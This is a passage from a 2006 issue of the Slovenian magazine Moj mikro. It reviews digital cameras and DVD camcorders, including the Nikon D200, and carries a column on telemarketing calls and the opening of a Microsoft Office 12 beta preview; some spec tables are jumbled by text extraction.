težav prikaže berljivo sliko iz zajetega besedila, kjer so velikosti črk nad 10 pik. PROTI: Verjetno bo za slovensko šolstvo prav cena največja ovira. Škoda, da naprava nima S-video in kompozitnega ali digitalnega izhoda DVI-I. Prav tako pogrešamo omrežni priključek in možnost pretočnega oddajanja slike prek interneta (izobraževanje, seminarji, sestanki na daljavo). Jaka Mele 63 POD LUPO novi digitalni fotoaparati Novi udarci klasični fotografiji Leto 2006 se še ni niti dobro začelo, a prve udarne novice so že začele spreminjati podobo fotografskega sveta, saj tudi največji igralci počasi dvigajo roke od »klasike«, eden pa celo sploh zapušča svet fotografije. Medtem pa prihajajo novi in novi modeli, ... Piše : Alan Orlič Belšak alan.orlic@mojmikro.si Z ačnimo pri Nikonovi napovedi, da bo prenehal izdelovati klasične fotoaparate. Pravzaprav bosta ostala le dva modela, vrhunski F6 in vstopni FM10. Razlog za to je dokaj preprost, prodaja klasike že nekaj let vztrajno pada in po svoje je nesmiselno vlagati trud v nekaj, kar bo dolgoročno praktično izginilo. Še udarnejša je napoved Konice Minolte, da se bo prenehala ukvarjati s fotografijo. Skoraj celoten oddelek bodo preselili k Sonyu, zanje bodo tudi še izdelovali ohišja in objektive, ki bodo imeli novo ime. Prvi od velikanov se torej umika, vprašamo se seveda lahko, kdo je naslednji, morda Pentax? Iz njihove naveze s Samsungom je slednji že predstavil svoja prva zrcalnorefleksna digitalna fotoaparata GX-1S in GX-1L. Oba sta po tehničnih specifikacijah praktično enaka Pentaxu *istDS2 in *istDL, razlike so zelo majhne. Proizvajalec in ime modela Skupna ocena Razmerje cena/kakovost Informacije Spletni naslov Cena Za Proti Tehnični podatki Najvišja ločljivost Tip in ločljivost tipala Objektiv (mm) Razpon časa Občutljivost ISO Zaslonka Pomnilniška kartica Vmesnik Teža Baterije 64 Sony DSC S600   Sony Slovenija, d.o.o. www.sony.com 47.990 SIT ISO 1000 nekatere možnosti so skrite v meniju 2816 x 2112 CCD, 6 M 31−93 mm 1 s−1/2000 s 80−1000 f2,8−5,1 Memory Stick Duo USB 181 g 2 x AA kjer je daleč od konkurence zrcalnorefleksnim fotoaparatom, a vsaj imamo sliko. Uporabna občutljivost je do ISO 400, kjer je šuma veliko manj, kot bi ga pričakovali. Dobro deluje tudi samodejno ostrenje, ki je pri dobrih svetlobnih razmerah praktično brez zamika od pritiska na sprožilec do zajema slike. Slabše mu gre v slabih svetlobnih razmerah, kjer le s težavo najde ostrino. Kakovost slike je več kot zadovoljiva in izpolnjuje vsa pričakovanja za fotoaparat tega razreda. Končna ocena je vsekakor poZanimivo je, da je Samsung s temi napovedmi počakal na konec sejma CES, kjer je bilo prikazanih kar nekaj zanimivih kompaktnih fotoaparatov. Omenimo le dva, Kodak V570 in Sanyo Xacti HD1. Prvi se ponaša z dvema objektivoma, stalnim 23 mm in spremenljivim 39 do 117 mm. Kombinacija je zanimiva za vse ljubitelje širokega kota, saj ni potrebe po dodatnih nastavkih, ampak le preprosto preklopite med obema. Sanyo se je prvi odločil za vstop v razred HD-videa v kombinaciji z digitalnim fotoaparatom. Xacti HD1 namreč zmore zajem pri ločljivosti 1280 x 720 pik pri 30 posnetkih na sekundo, video shranjuje v formatu MPEG 4. Na pomnilniško kartico SD zmogljivosti 1 GB lahko shrani okoli 21 minut videa v najvišji kakovosti. Posnemovalcev bo v prihodnosti verjetno še kar nekaj, saj že zdaj marsikateri fotoaparat zmore snemanje v ločljivosti 800 x 600 pik. Sony DSC S600 Kompakti znajo presenetiti, ko to najmanj pričakuješ. Eden izmed njih je Sonyjev novinec, ki se na prvi pogled ne loči od podobnih iz nižjega cenovnega razreda, a hudič se skriva v podrobnostih. Plastično ohišje, normalno velik LCD-zaslon in optično iskalo so glavne zunanje značilnosti. Gumbov ni veliko, tako da se večina nastaviRicoh tev skriva v menijih. Caplio R3 Zahtevnejši uporab niki tega ne bodo  veseli, drugih, ki jim Accord 92, d.o.o. je pomembnejša enowww.ricoh.com stavna raba, pa to 82.690 SIT ne bo preveč motiobjektiv, umirjevalnik lo. Ima pa zato hitro občutljivost dosegljivo točkovno merjenje, ki zna odpraviti marsikatero 2560 x 1920 potrebo po pod/naCCD, 5 M dosvetljevanju. S600 28−200 mm pozna kar nekaj sa8 s−1/2000 s modejnih načinov 64−800 za fotografiranje, ki f3,3−4,8 zadoščajo za večino SD Card potreb družinske foUSB tografije. Preseneti 135 g razpon občutljivosti Li ion od ISO 80 do 1000, zitivna, kljub nekaterim težavam, predvsem ostrenju v slabih svetlobnih razmerah. Ker gre za fotoaparat, ki je namenjen predvsem nezahtevni rabi, mu lahko kaj takega oprostimo. Ricoh Caplio R3 Še je prostor za inovativnost in tega nam ne dokazujejo uveljavljeni, ampak obrobni igralci. Ricohov najnovejši malček to dokazuje, saj skriva kar nekaj dobrot. Majhno kovinsko ohišje ne daje občutka, da se v njem skriva objektiv s 7x spremenljivo goriščnico. Zanimivo je predvsem zaradi širokega kota in umirjevalnika slike, ki ga marsikateri kompaktni fotoaparat ne premore. Velik LCD-zaslon postaja stalnica, gumbov pa je ravno prav, da ne zmedejo uporabnika. Poleg samodejnega načina fotografiranja pozna še scenske, medtem ko prioritete zaslonke ali časa tako kot predhodnik nima. To za povprečnega uporabnika niti ni pomembno, bolj omejujoč je najdaljši čas v avtomatskem načinu, ki je le 1/8 sekunde. Za daljše čase je treba poseči v scenske nastavitve, nočno fotografiranje. Med njimi najdemo še eno dokaj neobičajno, popravljanje perspektive. Če recimo fotografirate cerkev od spodaj, bo ta način prepoznal linije in jih zravnal. Bolj kot uporabno ima to prodajno vrednost, saj lahko enako naredite v marsikateremu programu za obdelavo slik. Kljub vsej inovativnosti podobno kot pri drugih fotoaparatih Ricohov novinec nima najbolje urejene odprave šuma. Slika je dobra pri nižjih ločljivostih, do ISO 200, dalje je že zelo zrnata. Najvišja občutljivost ISO 800 je bolj zaradi marketinške kot uporabne vrednosti. Kljub temu je Caplio R3 odličen popotniški fotoaparat z odličnim delovnim območjem goriščnice in umirjevalnikom slike, ki pomaga odpraviti marsikateri tresljaj. Poleg tega je še dovolj majhen, da je lahko praktično vedno pri roki.  moj mikro | 2 | februar | 2006 POD LUPO nove digitalne videokamere Ko se vrti DVD O digitalnih videokamerah pišemo tokrat obširneje v temi meseca, tu smo si pogledali nekaj zanimivejših modelov, ki zapisujejo na DVD-medije. alan.orlic@mojmikro.si Canon je pri videokamerah dokaj konzervativen, saj sta DC10 in DC20 njihova prva modela, ki za shranjevanje videa uporabljata DVD-medij. Glavna razlika med njima je v ločljivosti tipala, DC20 ima 2-milijonsko, DC10 pa le 1,33-milijonsko tipalo. Poleg tega ima DC20 vdelano lučko, ki je DC10 nima. Ohišje je zelo majhno in dokaj tanko, med preizkušenimi kamerami je bilo med najmanjšimi. LCD-zaslon ni med največjimi, enako velja za iskalo, ki je med najmanjšimi, a še vedno omogoča dobro vidljivost. Kaže, da so mu snovalci namenili stransko vlogo v primerjavi z LCDzaslonom. Objektiv ima 10x spremenljivo goriščnico in ima zaščito pred poškodbami že vdelano v ohišje kamere. Baterijo najdete na zelo zanimivem mestu, poleg LCD-zaslona. Večina drugih proizvajalcev jo daje na zadnjo stran kamere, kjer je lažje dosegljiva, poleg tega nekateri omogočajo na račun debeline zmogljivejše baterije. Možnosti za snemanje je kar nekaj in še najbolj spominjajo na kak Canonov digitalni fotoaparat. Oba modela namreč poznata prioriteto časa, zaslonke in še vrsto scenskih nastavitev, na primer nočno snemanje, snemanje na snegu, plaži in podobno. Enako velja Proizvajalec in ime modela Skupna ocena: Razmerje cena/kakovost Informacije Spletni naslov Cena Za Proti Tehnični podatki Ločljivost tipala Objektiv (razpon) Format snemanja Medij Pomnilniška kartica Teža 66 Sony DCR-DVD403E Sony se je lotil DVD-videokamere samosvoje, kot se zanj spodobi. 403E je med večjimi in DVD-del se kar skrije v ohišju. Na prvi pogled sploh ne izdaja, na kaj snema. Objektiv ima podobno kot Canon DC20 10x spremenljivo goriščnico, se pa zato ponaša s pravim formatom v razmerju 16 : 9, saj se slika temu primerno tudi razširi na robovih in ne le odreže. Je tudi dobro zaščiten, z avtomatskim pokrovom, podobno kot imajo to kompaktni digitalni fotoaparati. Na svoj račun bodo prišli ljubitelji dobrega zvoka, saj kamera snema v načinu Dolby Piše : Alan Orlič Belšak Canon DC20 in DC10 Škoda je le to, da so nekatere možnosti skrite v meniju in bi zaslon, občutljiv na dotik, to delo zelo olajšal. za izravnavo beline, ki poleg že nastavljenih možnosti omogoča ročno nastavitev. Od načinov za snemanje je zanimiv nočni, ki namesto preklopa v infrardeče območje spusti število posnetkov na sekundo pod 25 in s tem pridobi več svetlobe na tipalo. Slika zaradi tega postane trzajoča, a prave barve ostanejo. Ostane nam le še samo snemanje. Celoten vtis je dokaj pozitiven, kar velja tudi za kakovost slike. 5.1. Zaslon je dokaj velik in je v razmerju slike 16 : 9. Zanimivejše je to, da je občutljiv na dotik, prek katerega dostopamo do nekaterih možnosti. Na zaslonu so še trije gumbi, za spreminjanje goriščnice in snemanje. Slednji se še zlasti dobro obnese, saj omogoča enostavno snemanje v različnih položajih, kot sta na primer žabja ali ptičja perspektiva. Iskalo je med manjšimi, podobno kot Canonovo, ima pa to možnost, da ga lahko izvlečemo. Slednje pride prav zaradi baterije, ki je debelejša in štrli izven ohišja. A tisto pravo presenečenje šele prihaja. Kamera ima namreč zelo malo gumbov, od posebnih možnosti najdemo le preklop za nočne posnetke in tu se možnosti tako rekoč končajo. Druge se skrivajo v menijih in nekatere so dokaj zanimive, izbira točke ostrenja na primer. Slednjo Canon DC10 Canon DC20 Sony DCR-DVD403E Hitachi DZ-GX20 Hitachi DZ-MV730E Avtera, d.o.o. www.canon.com 209.900 SIT veliko možnosti nima lučke za dosvetlitev Avtera, d.o.o. www.canon.com 249.900 SIT veliko možnosti dostopnost funkcij Sony Slovenija, d.o.o. www.sony.com 269.990 SIT format 16 : 9 velikost Lukvel, d.o.o. www.sony.com 238.800 SIT dostopnost funkcij slab nočni način Lukvel, d.o.o. www.olympus.com 138.000 SIT razpon goriščnice baterija 1,3 M 10x MPEG2 DVD-R/RW, DVD+R/RW Mini SD Card 400 g 2M 10x MPEG2 DVD-R/RW, DVD+R/RW Mini SD Card 410 g 3M 10x MPEG2 DVD-R/RW, DVD+R/RW Memory Stick 620 g 2M 10x MPEG2 DVD-R/RAM SD Card 480 g 350k 16x MPEG2 DVD-R/RAM SD Card 450 g           moj mikro | 2 | februar | 2006 POD LUPO nove digitalne videokamere izberemo kar na zaslonu, le pritisnemo na pravo mesto. Najdemo tudi vrsto drugih možnosti, kot sta izravnava beline in nastavitev zaslonke. DVD403E je vsekakor zanimiva kamera, predvsem zaradi enostavnih možnosti za uporabnike, ki jim je pomembno le snemanje. Tisti, ki želi več pa tudi ima kar nekaj kreativnih možnosti. Hitachi DZ-GX20 in DZ-MV730E Hitachi je bil med prvimi, ki so naredili DVD-kamero, takrat še za medije DVD-RAM. Zanimivo, da tega niso opustili in ta medij še vedno podpirajo, po drugi strani pa nimajo podpore za DVD-RW, ampak le za DVD-R. Glavna razlika med obema modeloma je v ločljivosti in objektivu, DZ-GX20 se ponaša z 2-milijonskim tipalom in 10x spremenljivo goriščnico, DZ-MV730E pa z 16x spremenljivo goriščnico in s klasičnim video tipalom. Po zunanjosti sta si tako rekoč enaka, le napisi so drugačni in GX-20 ima dodano bliskavico, ki je MV730E zaradi nizke ločljivosti tipala nima. Velikost je med že opisano Canonovo in Sonyjevo kamero, podobno velja za LCD-zaslon. Je dokaj enostavna za uporabo, za pomembnejše funkcije, kot so ročno ostrenje ali osvetlitev od zadaj (backlight) ima gumbe, ki pohitrijo izbiro. Ročnemu ostrenju se izogibajte, kajti tudi to je na gumbe, poleg tega je iskanje ostrine na barvnem zaslonu dokaj zoprno opravilo. Druge nastavitve najdete v meniju, kjer lahko izberete med različnimi načini, kot so športni in podobni. Hitachi ima še eno posebnost oziroma omejitev, ki jo prej opisana modela nimata, namreč format slike 4 : 3 ali 16 : 9 je treba izbrati takoj na začetku, pred prvim snemanjem na medij, vmes namreč ne moremo preklapljati. Malce moti tudi dokaj hitro spreminjanje goriščnice, ki nima zveznega začetka. Resnici na ljubo, tudi Canonova in Sonyeva kamera ju nimata, a je tam premikanje še malce počasnejše. DVD-medij se je med videokamerami trdno usidral, kljub dokaj majhni zmogljivosti. Pri najvišji kakovosti snemanja, ki je tu zaželena lahko na en medij shranimo okoli pol ure videa. To pravzaprav niti ni slabo, saj zahteva od snemalca malce več načrtovanja in krajše kadre, ki so za gledalce zanimivejši. Če bo v prihodnosti padla še cena medijem, bo trak počasi postal dokaj ogrožen, tudi zaradi pomnilniških kartic.  67 POD LUPO Nikon D200 Nikonov novi paradni konj in tekmeci Govorice in napovedi o novem Nikonovem fotoaparatu so krožile že nekaj let in kar težko pričakovan je bil pravi naslednik uspešnega model D100. Ko so se pojavili prvi tehnični podatki in predvidena cena, pa je bilo že skoraj težko verjeti vsemu. Primerjali ga bomo z nekaj tekmeci, predvsem z njemu najbližjim Canonovim modelom 20D. Piše : Zdenko Frangež zdenko.frangez@mojmikro.si F otoaparat Nikon D200 nekateri »zmerjajo« z nadgradnjo model D70, tega pa nekako zmotno določajo kot naslednika model D100. Nič od tega ne more biti dlje od resnice. Model D200 je šele pravi naslednik modela D100. Zaradi kakovosti izdelave in kopice možnosti, ki so še kako potrebne in zaželene med resnejšimi fotografi. Druga zmota je primerjava tega modela s konkurenčnim modelom Canon 5D. To ne bi bilo pošteno. Canon 5D je praktično enkrat Proizvajalec in ime modela Skupna ocena: Razmerje cena/kakovost Informacije Spletni naslov Cena Za: Proti: Nikon D200   RoLAN, d.o.o. in Grafo, d.o.o. www.nikon.com 419.990 SIT Odlično ohišje (zatesnjeno pred vlago, nedrsljiv oprijem), odlično upravljanje, hitrost, dobro ostrenje, kakovost posnetkov, kopica možnosti nastavitev Še vedno preveč šuma pri visokih ISO številih, nekoliko cenena izvedbe vdelane bliskavice Tehnični podatki Najvišja ločljivost 3872 x 2592, 10,2 milijona pik Tip in ločljivost tipala CCD (23,7 x 15,6 mm) LCD zaslon 2.0", 230.000 pik Ostrenje 11/7-točkovno Razpon časa B, 30s−1/8000s Občutljivost ISO 100−3200 Število posnetkov v sekundi 5 / 37 JPEG / velikost zaporedja Pomnilniška kartica Bliskavica Mere in teža 68 CompactFlash I in II Vdelana in zunanja 147 x 113 x 74 mm, 850 g dražji fotoaparat, ki za svojo ceno, hočeš nočeš, mora ponujati tudi kaj več. Cenovno bi lahko Nikon D200 primerjali kvečjemu s Canonovim modelom 20D. Pa spet ni čisto pošteno, saj je 20D na trgu že več kot leto in vsekakor mora biti viden tehnološki napredek pri modelu D200. Kam torej umestiti ta toliko komentirani in pričakovan model? Je malenkost dražji od fotoaparata Canon 20D, krasijo ga sila podobni tehnični podatki, s kopico možnosti pa se uvršča nekje med Canon 20D in 5D. Kljub vsemu pa ga bom primerjal s cenovno Canon 20D bližjim modelom. Bo pa nujno potegniti  tudi druge primer jave, če ne drugače RoLAN, d.o.o. pa zato, ker starejše modele uporabniki že poznajo in bodo 371.988 SIT laže razumeli razlike, Solidno, manjše in lažje opisane s primeri. ohišje, preprostejša uporaba Pri primerjavi pa ne za manj izkušene uporabnike, bom toliko zahajal v dobro filtriranje šuma pri kopico možnosti in visokih ISO-številih, kakovost tehnične podatke, posnetkov, ostrenje saj so ti lepo vidni Precej skromnejše možnosti iz vseh objavljenih nastavitev, slabša protizdrsna razpredelnic. Poglejprevleka, manj odporen na vlago mo raje, kaj v resnici čaka uporabnika, ki 3504 x 2336, 8,2 se odloči za ta momilijona pik del. CMOS (22,5 x 15,0 mm) 1,8", 118.000 pik 9-točkovno B, 30s−1/8000s 100−3200 5 / do 23 JPEG CompactFlash I in II Vdelana in zunanja 144 x 106 x 72 mm, 770 g ZA NAPREDNEJŠE AMATERJE Nikon D200 je fotoaparat, namenjen naprednejšim amaterjem. Ni še čisto profesionalni fotoaparat, čeprav ga krasi kopica lastnosti, ki ga uvrščajo sumljivo blizu profesionalnim fotoaparatom. Je nekak kompromis med modeloma D70 in D2X. Čeprav je naslednik modela D100, pa ima z njim še najmanj opraviti, razen da sta podobne velikosti in teže. Samo ohišje in drobovina je že nekak križanec. Je večji od D70 in manjši od D2X, ima višjo ločljivost od D70 in manjšo od D2X-a, ima vdelano bliskavico, česar pri profesionalnih DSLR fotoaparatih nismo vajeni, čeprav tudi profesionalci nimajo nič proti temu. S to bliskavico je mogoče prav lepo prožiti kopico »ta resnih«. OHIŠJE Ohišje je iz magnezija in je še vedno v mejah, ko ni pretežko, pa kljub vsemu daje kolikor toliko dobro protiutež ne prevelikim teleobjektivom. Z nedrsečo gumo prevlečen oprijem daje soliden prijem in celo možnost enoročne uporabe. Občutek v roki daje predvidevati, da naprava ne bo kar mimogrede zdrsela iz roke. Oprijem sega nekoliko bližje objektivu kot pri modelu 70D, zato pa je bolj ergonomski. Dodatni tipki, funkcijska in že znana za predogled globinske ostrine, pa sta postavljeni na nekoliko nerodno mesto ob ležišče objektiva. Uporabnikom z nekoliko bolj klobasastimi prsti bosta nekoliko na poti, vsaj dokler se ne bodo privadili. Ohišje je zaščiteno pred vdorom vlage v notranjost ali pa bi vsaj pri Nikonu radi, da to tudi verjamemo. Vsaj tako je videti na prvi pogled. Na drugi in tretji pa se začne mnenje malenkost spreminjati. Vratca za vstavljanje pomnilnih kartic so nekoliko premalo robustno izdelana, čeprav so zatesnjena s tesnilom iz neoprena in moj mikro | 2 | februar | 2006 POD LUPO Nikon D200 Primerjava ISO na testni sliki z umetno osvetlitvijo Nočni posnetek 25s se odklepajo s posebnim gumbom. Se pa zapirajo nekoliko preveč lahko in ne dajo občutka, da bodo prav hudo nasedala na tesnilo. Vratca za baterijski prostor so ostala preveč podobna tistim na modelu D70, čeprav tudi tako njimi ni nič narobe. Bi pa nekatere vsekakor bolj prepričal tudi varovalni kaveljček, kot je to urejeno pri Canonu 20D. Nekoliko večji spodrsljaj je vdelana bliskavica, ki je natančno takšna kot pri modelu D70. Na pogled, na otip in tudi po načinu zapiranja. Na tem mestu boste težko našli pošteno tesnilo. Tudi če voda ne vdre dalje v notranjost aparata, pa je škoda znatna tudi če voda zalije samo bliskavico. Tipke in vsi koleščki so dokaj mehki in bodo nekaterim delovali nekoliko poceni. Spet pa je to stvar okusa. Mehki Nikonovi koleščki so udobni, bodo pa uporabnikom Canona 20D premehki in bodo menili, da je z njimi kaj narobe. Verjemite, da velja tudi nasprotno prepričanje. Ker pa za dober fotoaparat ni dovolj le odlično ohišje, ki, mimogrede, prekaša tudi veliko dražje aparate, pa moramo pogledati tudi, kaj se skriva v njem. nega proženja, hitrega zaporedja, počasnega zaporedja, ki ga je mogoče definirati, in samosprožilca. Na njem najdemo gumbe za izbiro beline, kakovosti posnetkov in izbor števila ISO. Načini delovanja so ostali samo še štirje, in sicer že prej omenjeni P, A, T in M. Tudi to pove, komu naj bi bil fotoaparat namenjen. Izbor načinov ostrenja (enkratno, nenehno s predvidevanjem in ročno) je na levi ob objektivu, kjer je pri drugih modelih izbor omejen le na samodejno in ročno ostrenje. Med aktualnimi fotoaparati najdemo ta način upravljanja s fotoaparatom le pri modelu D2X. Canon pri vseh modelih, ki so vsaj pri- NOTRANJOST Nočni posnetek z osvetljevanjem 30s Vdelana sta procesor in 1005-točkovni barvni svetlomer, ki ga poznamo iz D2X, s katerim si Nikon D200 deli tudi način upravljanja. To ne temelji več na koleščku na levi strani ohišja za izbor gibkega programa (P) prioritete zaslonke (A) , prioritete časa (T), ročnem načinu (M) in kopici vnaprej programiranih načinov (nočni posnetki, portret, pokrajinski ...). Namesto tega je na istem mestu kolešček z izborom posamič- 69 POD LUPO Nikon D200 AVTONOMIJA Svojevrstno razočaranje je avtonomija fotoaparata. Kljub izboljšani bateriji se je avtonomija zmanjšala, in to občutno. Najverjetneje zaradi velikega in razkošnega LCD-zaslona. Kljub temu pa je mogoče napraviti nekako do 600 posnetkov, zlasti če ni Primerjava ISO - snežna vejica v oblačnem vremenu. ves čas vključena tudi bliskavica in če bližno primerljivi, vztraja pri precej bolj »ama- se ne igramo preveč z nastavitvami. Bo pa potersko« naravnanem izboru načinov delovanja, trebno pred fotografskim pohodom poskrbeti, ki pa zadovolji širši krog potrošnikov. da bo baterija napolnjena. Nekako ni več tiste Vse glavne funkcije, kot si jih je zamislil Ni- brezbrižnosti, ki smo je bili vajeni pri modelu kon, so lahko in hitro dosegljive. Po nekaj de- D70. Kljub vsemu tudi z avtonomijo D200 ne set posnetkih postane tudi trmastim jasno, da zaostaja za 20D, nasprotno, samo ne prekaša ga je filozofija upravljanja pravilna, še posebej pri več tako zelo. športni fotografiji, kjer se razmere lahko hitro spreminjajo in so potrebne hitre korekcije. HITROST Izbor možnosti pa se ne konča pri tipkah, Fotoaparat je značilen tudi po svoji hitrokoleščkih in preklopnikih, ampak se večja ko- sti. Število posnetkov v sekundi je enako kot pica skriva v menijih. Ti so zaradi ogromnega pri Canon 20D, je pa predpomnilnik večji in barvnega LCD-zaslona na hrbtni strani foto- tako je mogoče zajeti več posnetkov brez preaparata pregledni kljub vsej obilici. Če lahko kinitve. So pa nekoliko slabše izvedli prenos za upravljanje s tipkami in koleščki trdimo, posnetkov iz predpomnilnika na pomnilniško da se ga bodo vsi hitro privadili, pa je z meniji kartico, ki zaostaja za hitrostjo modela 20D. prav nasprotno. Privajanje bo težavno in dol- Če pomislimo, da je velikost surove (RAW) gotrajno. Pa ne zaradi menijev, ampak zaradi datoteke pri modelu D200 med 15 in 16 MB, možnosti, ki jih tudi zahtevni amaterski foto- je to vsekakor več kot očitna pomanjkljivost. grafi niso vajeni. Gre za kopico možnosti, ki niso le osnovne, ampak segajo v finese in od- PROGRAMSKA OPREMA tenke določenih. Na voljo je veliko možnosti Lahko rečemo, da prav uporabne sploh ni pridoločanja, kako naj se fotoaparat obnaša, kaj ložene. NikonView, ki ga je mogoče brezplačno počne katera tipka, kako bo merjena svetloba, sneti z Nikonove spletne strani, vsekakor ne zakaj se ob zgodilo potem, kako bo z ostrenjem, dostuje za polprofesionalno rabo. V času testa zaporedjem posnetkov, kakšna naj bo hitrost pa žal ni bilo na voljo programa ali dodatka, ki zaporedij, kako bodo organizirane mape na bi omogočil delo z boljšimi programi formatu pomnilnih karticah in še in še. Samo našteva- RAW. Nov format še ni podprt, kar je še ena od nje bi zasedlo članek daljši od tega. In tudi na sitnosti, ki je bodo deležni prvi uporabniki. tem področju aparat močno prekaša primerjalni model Canon 20D, ki s svojimi »skromni- KAKOVOST POSNETKOV mi« možnostmi ne napravi več pravega vtisa. In že smo pri ključnem delu. Ali so posnetki Postavlja pa se vprašanje, kaj bodo zahtev- boljši kot pri primerljivih modelih tekmecev? ni amaterski fotografi s tem razkošjem tudi v So in niso, kakor gledamo in glede na to, kaj resnici počeli. Upam si trditi, da večina ne bo želimo ali pričakujemo. 200D se ponaša z ločali, bolje rečeno, ne bo prav kmalu posegala ljivostjo v grobem 10 milijonov pik. V resnici po naprednih možnostih. Kar je škoda, saj je to niti ni tako veliko več kot 8 milijonov pik potem denar, odštet za nakup, deloma zaprav- modela 20D. Torej tu ne pričakujte velikih razljen. In roko na srce, večina amaterskih foto- lik samo na podlagi števila pik. grafov tako naprednih funkcij večinoma niti Barve so krasne. Pri normalnih nastavitvah ne potrebuje. Tako daje fotoaparat vtis ne- vsaj zame nekoliko bolj realistične kot pri 20D. kakšnega stimulatorja za lažji prehod na dražji Morda ker so videt malenkost hladnejše, kar pa in še zmogljivejši model D2X. Prednost tako ne velja pri vseh razmerah osvetlitve. V senci oblikovanega in opremljenega fotoaparata pa in pri hladni svetlobi bo Nikon D200 veliko je v dejstvu, da bo zadoščal tudi nekaterim pozneje podlegel modremu obarvanju fotograprofesionalnim fotografom. Vsaj tistim, ki ne fij tudi pri samodejni izbiti beline. Na voljo pa potrebujejo tako visokih hitrosti zaporednih je zvezno nastavljanje temperature, kar močposnetkov, kot jih ponujajo D2X ali primer- no poveča možnosti uporabe fotoaparata. ljivi Canonovi modeli. Ti bodo za dokaj malo Veliko očitkov Nikonu gre za izrazitejši šum denarja dobili fotoaparat, ki se zelo približa pri visokih ISO-številih oziroma slabšemu odnajboljšemu Nikonu. stranjevanju, kot je to uspelo Canonu. V resnici 70 so dosegli določen napredek in v veliko primerih šum ne bo veliko izrazitejši kot pri 20D. Z nekaj poskušanja pa je mogoče najti svetlobne razmere, pri katerih bo šum obupen. V istih razmerah se Canon 20D odreže veliko bolje. Seveda je mogoče najti razmere, v katerih bo Nikon boljši. Samo resnici na ljubo je teh manj. Odpornost na cvetenje pik na senzorju je izredna, kar omogoča tudi posnetke naravnost proti soncu in drugim virom svetlobe. Še največ pa so pri Nikonu izboljšali na področju ostrenja. Samodejno ostrenje ni tako hitro kot bi morda lahko pričakovali, zato pa je sila natančno in ne zaostaja več v ničemer za Canonovimi fotoaparati. In kateri fotoaparat bo omogočil lepše fotografije? Težavno vprašanje in odvisno od tega, kaj počnete. V glavnem je pri nizkih ISO-šte- Posnetek račke s 300mm objektivom pri ISO 400 vilih prednost na strani D200, pri višjih še vedno nekoliko na strani 20D, zato pa na skoraj vseh področjih zmaga D200. 20D je glede na hitrost razvoja tovrstnih naprav že malenkost zaostal, kar pa ne pomeni, da Canon prav kmalu ne bo ponudil fotoaparata, ki bo za podobno ceno prekašal model D200. In če ga primerjamo z modelom Canon 5D? V nekaterih pogledih ga celo prekaša, pa ne veliko. Recimo raje, da sta primerljiva. Model 5D ima nekatere prednosti, ki so glede na ceno tudi pričakovane. 5D prav gotovo ne more konkurirati z ohišjem in upravljanjem, ki sta skromnejša v vseh pogledih. Zato pa ga krasi izredna kakovost fotografij, ki v večini primerov prehiti skoraj pol cenejšega konkurenta. Na kratko bi ocenil nekako takole: Model 200D je odličen fotoaparat za vse zahtevne uporabnike, ki ne potrebujejo ali si ne morejo privoščiti modela D2X. Izkaže se posebej na področju športne, reportažne in popotniške fotografije. Za studijsko delo in umetniško fotografijo bi se vseeno raje odločil za katerega od Canonovih modelov. Tudi za model 20D, če ne potrebujete vseh možnosti, ki jih ponuja Nikon D200 v resničnem obilju. Prav gotovo pa to ni fotoaparat za družinsko rabo ali uporabnike, ki se že tako otepajo predolgih menijev in kopice možnosti. Vsi, ki želijo od fotoaparata kaj več, pa bodo s tem modelom vsekakor več kot zadovoljni.  moj mikro | 2 | februar | 2006 POD LUPO Ureja: MILAN SIMČIČ | milan.simcic@mojmikro.si Zavarujte me − pred telefonskim spamom Sredi popoldneva sedim doma na kavču in berem. Zazvoni telefon. Premišljujem, le kdo bi me lahko klical na stacionarni telefon, saj ga ne uporabljam. Gotovo je kak akviziter ali pa delajo anketo med gospodinjstvi o tem ali onem, si mislim. No, mogoče pa je vseeno nekdo, ki ga poznam, in se odločim dvigniti slušalko. Prijazna gospa na drugi strani se predstavi kot se spodobi. »Dober dan. Iščem gospoda Simčiča, to ste zagotovo vi.« »Ja, sem,« odvrnem in že v naslednjem trenutku mi je žal. Gospa me kliče v imenu zavarovalnice Triglav, ki tokrat za spremembo nima zame izredno ugodne ponudbe, ampak me vabijo na neko srečanje, kjer bom izvedel vse o spremembah na področju zavarovanja, zda,j ko smo že v Evropski uniji. Halooo. Komaj mi uspe priti do besede, da me ta stvar sploh ne zanima. Gospa se prijazno zahvali za moj čas in pogovor se konča. Uf, si rečem, tole je šlo pa razmeroma gladko. Porabil sem samo minuto ali dve. Spet vzamem v roke knjigo in se zatopim v branje. Komaj dobro začnem, ponovno zazvoni telefon. Dober dan, prijazen glas na drugi strani. Sem gospa ta in ta in vas kličem v imenu zavarovalnice Triglav. Želela bi vam predstaviti ... bla, bla. Komaj se zadržim, da je ne ozmerjam in pošljem nekam. Poizkušam biti prijazen, kolikor je v danih okoliščinah sploh mogoče. Gospe, ki je, mimogrede, druga kot tista izpred nekaj minut, razložim, da me je pred petimi minutami že klicala gospa Tinka in mi razlagala o isti zadevi, ki pa me povrhu vsega sploh ne zanima. Prijazna gospa Minka mi odvrne, da ona pa že ni kriva, da imam jaz dve telefonski liniji, verjetno ISDN, in so me zato poklicali dvakrat. Danes pač kličejo moj konec in pika. Haloooooo!!!!!! Kdo koga nadleguje, jaz vas ali vi mene? Pustite me pri miru. Poleg tega vas pa prav nič ne briga, koliko telefonskih linij imam. Tudi če bi jih imel pet. Ne gre mi v glavo, da lahko poslovanje neke zavarovalnice, v tem primeru gre za zavarovalnico Triglav, sloni na podatkih iz telefonskega imenika. Hudiča, ali še niso slišali za upravljanje odnosov s strankami oziroma aplikacije CRM. Upam, da ne pričakujejo, da se bom zavaroval pri zavarovalnici, kjer poslujejo na tak način. Očitno lahko pričakujemo porast spama tudi prek telefonske linije. Kmalu bodo podjetja, ki imajo lastne klicne centre, začela tržiti storitev nadlegovanja ljudi po telefonu. Najprej seveda prek stacionarnih, nato pa še prek mobilnih. Kako pa se bomo pred tem zavarovali, pa je že druga zgodba.  72 Microsoft Office 12 beta Storilnost in prijaznost Kar precej časa je bilo treba čakati, da je Microsoft dovolil vpogled v svoje delo okoli novega pisarniškega paketa Office 12. Konec lanskega leta smo ga končno dočakali in si lahko ogledali, v kateri smeri razmišljajo v Redmondu. Piše : Zoran Banović zoran.banovic@mojmikro.si N ajočitnejša nova lastnost, ki jo prinaša Office 12, je nov uporabniški vmesnik. Ta se precej razlikuje od ustaljene prakse. V njem namreč ni več klasičnih spustnih menijev in orodnih vrstic, ampak spremenljive orodne vrstice, ki se imenujejo ukazni razdelki (command tabs). Ti se spreminjajo glede na nalogo, ki jo hočemo opraviti. Če na primer v Wordovem dokumentu kliknemo tabelo, se ukazni razdelek spremeni tako, da prikaže vse, kar lahko delamo z njo. Prvi vtis, ki ga daje takšna spremenjena 